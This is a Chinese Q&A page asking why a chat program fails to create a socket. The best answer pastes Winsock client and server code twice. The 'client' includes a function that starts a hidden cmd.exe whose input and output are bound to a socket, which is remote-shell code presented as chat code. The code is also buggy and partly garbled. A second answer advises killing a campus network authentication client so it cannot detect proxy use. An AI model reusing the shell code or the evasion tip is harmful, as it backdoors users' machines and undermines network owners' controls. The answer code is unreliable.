创建套接字失败
答案:2 悬赏:60 手机版
解决时间 2021-01-31 09:38
- 提问者网友:我没有何以琛的痴心不悔
- 2021-01-30 12:23
一个聊天程序显示失败, 怎么弄?
最佳答案
- 五星知识达人网友:街头电车
- 2021-01-30 13:25
下面是客户端的链接服务端的代码(IP你自己换成服务端ip):// tcpclient.cpp : Defines the entry point for the console application.
//#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#include <stdio.h>
#include <iostream.h>DWORD WINAPI Thread( LPVOID lpParam )
{
SOCKET s=(SOCKET)lpParam;
STARTUPINFO si;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
//使cmd的输入输出直接和socket关联
si.hStdInput=si.hStdOutput=si.hStdError=(void*)s;
char cmdline[256];
//得到cmd路径
GetSystemDirectory(cmdline,sizeof(cmdline));
strcat(cmdline,"\\cmd.exe");
PROCESS_INFORMATION ProcessInformation;
int ret;
//建立cmd进程
ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
//等待进程结束
WaitForSingleObject(ProcessInformation.hProcess,INFINITE);
CloseHandle(ProcessInformation.hProcess);
return 0;
}
int main(int argc, char* argv[])
{
WSADATA wsaData;
WORD sockVersion = MAKEWORd(2, 2);
//加载winsock库
if(WSAStartup(sockVersion, &wsaData) != 0)
return 0;
// 创建套节字
SOCKET sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sClient == INVALID_SOCKET)
{
printf("socket error\n");
return 0;
}
// 在sockaddr_in结构中装入服务器端地址信息
sockaddr_in servAddr;
char revData[2048];
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(4500);// htons函数 将主机的无符号短整形数转换成网络
//字节顺序,4500端口为要连接服务器端的端口
servAddr.sin_addr.S_un.S_addr =inet_addr("127.0.0.1");//服务器端ip
//连接服务器端
if(connect(sClient,(sockaddr*)&servAddr,sizeof(servAddr))==SOCKET_ERROR)
{
printf("connect error\n");
closesocket(sClient);
return 0;
}
char buff[2048];
while(1)
{
ZeroMemory(buff,2048);
int i=-1;
do{
i++;
buff[i] = getchar();
//i++;
//cout<<buff[i];
}while(buff[i]!=0xa);
//发送数据
send(sClient,buff,strlen(buff),0);
char revData[2048];
//直到收到有效数据时才打印出来
int ret=recv(sClient,revData,2048,0); if(ret>0)
{
//为了防止打印出错,把字符串结尾设成0x00
revData[ret]=0x00;
cout<<revData<<endl;
}
}
closesocket(sClient);
WSACleanup();
return 0;
}
下面是服务端代码:// tcpserver.cpp : Defines the entry point for the console application.
//#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#include <stdio.h>
#include <iostream.h>
int main(int argc, char* argv[])
{
WSADATA wsaData;
WORD sockVersion = MAKEWORd(2, 2);
//加载winsock库
if(WSAStartup(sockVersion, &wsaData) != 0)
return 0;
// 创建套节字
SOCKET sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sListen == INVALID_SOCKET)
{
printf("socket error\n");
return 0;
}
// 在sockaddr_in结构中装入地址信息
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(4500); // htons函数 将主机的无符号短整形数转换成网络
//字节顺序
sin.sin_addr.S_un.S_addr = INADDR_ANY;
// 使套接字和本地地址绑定
if(bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf(" bind error \n");
closesocket(sListen);
return 0;
}
// 设置套接字进入监听模式
if(listen(sListen, 5) == SOCKET_ERROR)
{
printf("listen error\n");
closesocket(sListen);
return 0;
}
// 循环接受客户的连接请求
sockaddr_in remoteAddr;
SOCKET sClient;
int nAddrLen = sizeof(remoteAddr);
char revData[255];
while(TRUE)
{
// 接受一个新连接
sClient = accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);
//accept函数调用失败则继续等待连接。
if(sClient == INVALID_SOCKET)
{
printf("accept() error");
continue;
}
//打印出连接者的ip
printf(" 接受到一个连接:%s \r\n", inet_ntoa(remoteAddr.sin_addr));
//直到收到有效数据时才打印出来
while(1)
{
while(1)
{
char buff[256];
// cin>>buff;
gets(buff);
//发送数据
send(sClient,buff,strlen(buff),0);
// 关闭套接字句柄,结束会话
// closesocket(sClient);
}
}
}
closesocket(sListen);
WSACleanup();
return 0;
}
//#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#include <stdio.h>
#include <iostream.h>DWORD WINAPI Thread( LPVOID lpParam )
{
SOCKET s=(SOCKET)lpParam;
STARTUPINFO si;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
//使cmd的输入输出直接和socket关联
si.hStdInput=si.hStdOutput=si.hStdError=(void*)s;
char cmdline[256];
//得到cmd路径
GetSystemDirectory(cmdline,sizeof(cmdline));
strcat(cmdline,"\\cmd.exe");
PROCESS_INFORMATION ProcessInformation;
int ret;
//建立cmd进程
ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
//等待进程结束
WaitForSingleObject(ProcessInformation.hProcess,INFINITE);
CloseHandle(ProcessInformation.hProcess);
return 0;
}
int main(int argc, char* argv[])
{
WSADATA wsaData;
WORD sockVersion = MAKEWORd(2, 2);
//加载winsock库
if(WSAStartup(sockVersion, &wsaData) != 0)
return 0;
// 创建套节字
SOCKET sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sClient == INVALID_SOCKET)
{
printf("socket error\n");
return 0;
}
// 在sockaddr_in结构中装入服务器端地址信息
sockaddr_in servAddr;
char revData[2048];
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(4500);// htons函数 将主机的无符号短整形数转换成网络
//字节顺序,4500端口为要连接服务器端的端口
servAddr.sin_addr.S_un.S_addr =inet_addr("127.0.0.1");//服务器端ip
//连接服务器端
if(connect(sClient,(sockaddr*)&servAddr,sizeof(servAddr))==SOCKET_ERROR)
{
printf("connect error\n");
closesocket(sClient);
return 0;
}
char buff[2048];
while(1)
{
ZeroMemory(buff,2048);
int i=-1;
do{
i++;
buff[i] = getchar();
//i++;
//cout<<buff[i];
}while(buff[i]!=0xa);
//发送数据
send(sClient,buff,strlen(buff),0);
char revData[2048];
//直到收到有效数据时才打印出来
int ret=recv(sClient,revData,2048,0); if(ret>0)
{
//为了防止打印出错,把字符串结尾设成0x00
revData[ret]=0x00;
cout<<revData<<endl;
}
}
closesocket(sClient);
WSACleanup();
return 0;
}
下面是服务端代码:// tcpserver.cpp : Defines the entry point for the console application.
//#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#include <stdio.h>
#include <iostream.h>
int main(int argc, char* argv[])
{
WSADATA wsaData;
WORD sockVersion = MAKEWORd(2, 2);
//加载winsock库
if(WSAStartup(sockVersion, &wsaData) != 0)
return 0;
// 创建套节字
SOCKET sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sListen == INVALID_SOCKET)
{
printf("socket error\n");
return 0;
}
// 在sockaddr_in结构中装入地址信息
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(4500); // htons函数 将主机的无符号短整形数转换成网络
//字节顺序
sin.sin_addr.S_un.S_addr = INADDR_ANY;
// 使套接字和本地地址绑定
if(bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf(" bind error \n");
closesocket(sListen);
return 0;
}
// 设置套接字进入监听模式
if(listen(sListen, 5) == SOCKET_ERROR)
{
printf("listen error\n");
closesocket(sListen);
return 0;
}
// 循环接受客户的连接请求
sockaddr_in remoteAddr;
SOCKET sClient;
int nAddrLen = sizeof(remoteAddr);
char revData[255];
while(TRUE)
{
// 接受一个新连接
sClient = accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);
//accept函数调用失败则继续等待连接。
if(sClient == INVALID_SOCKET)
{
printf("accept() error");
continue;
}
//打印出连接者的ip
printf(" 接受到一个连接:%s \r\n", inet_ntoa(remoteAddr.sin_addr));
//直到收到有效数据时才打印出来
while(1)
{
while(1)
{
char buff[256];
// cin>>buff;
gets(buff);
//发送数据
send(sClient,buff,strlen(buff),0);
// 关闭套接字句柄,结束会话
// closesocket(sClient);
}
}
}
closesocket(sListen);
WSACleanup();
return 0;
}
全部回答
- 1楼网友:未来江山和你
- 2021-01-30 14:05
很简单了,待inode_client_v2.40-f0316客户端认证成功后,在任务管理器关掉它就可以了.这样做的原理是: inode_client_v2.40-f0316客户端在运行时向学校认证服务器发送认证请求,认证成功后,inode_client_v2.40-f0316客户端发现你使用代理就会向认证服务器发送停止服务请求,这样,就掉线了.而inode_client_v2.40-f0316客户端认证成功后.学校服务器就开始为我们服务,那inode_client_v2.40-f0316客户端也就对我们没有用了,于是就可以在任务管理器里直接关闭它啦,以防止它做些检测工作,而这些工作对我们一点用也没有,有时是反作用,给我们带来不便. 转自:回答者: 夏友森 - 举人 五级 2008-5-20 02:05 我试了,也不是很好。在结束几分钟之后,就掉线了。你试一下吧。 。。。
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
推荐资讯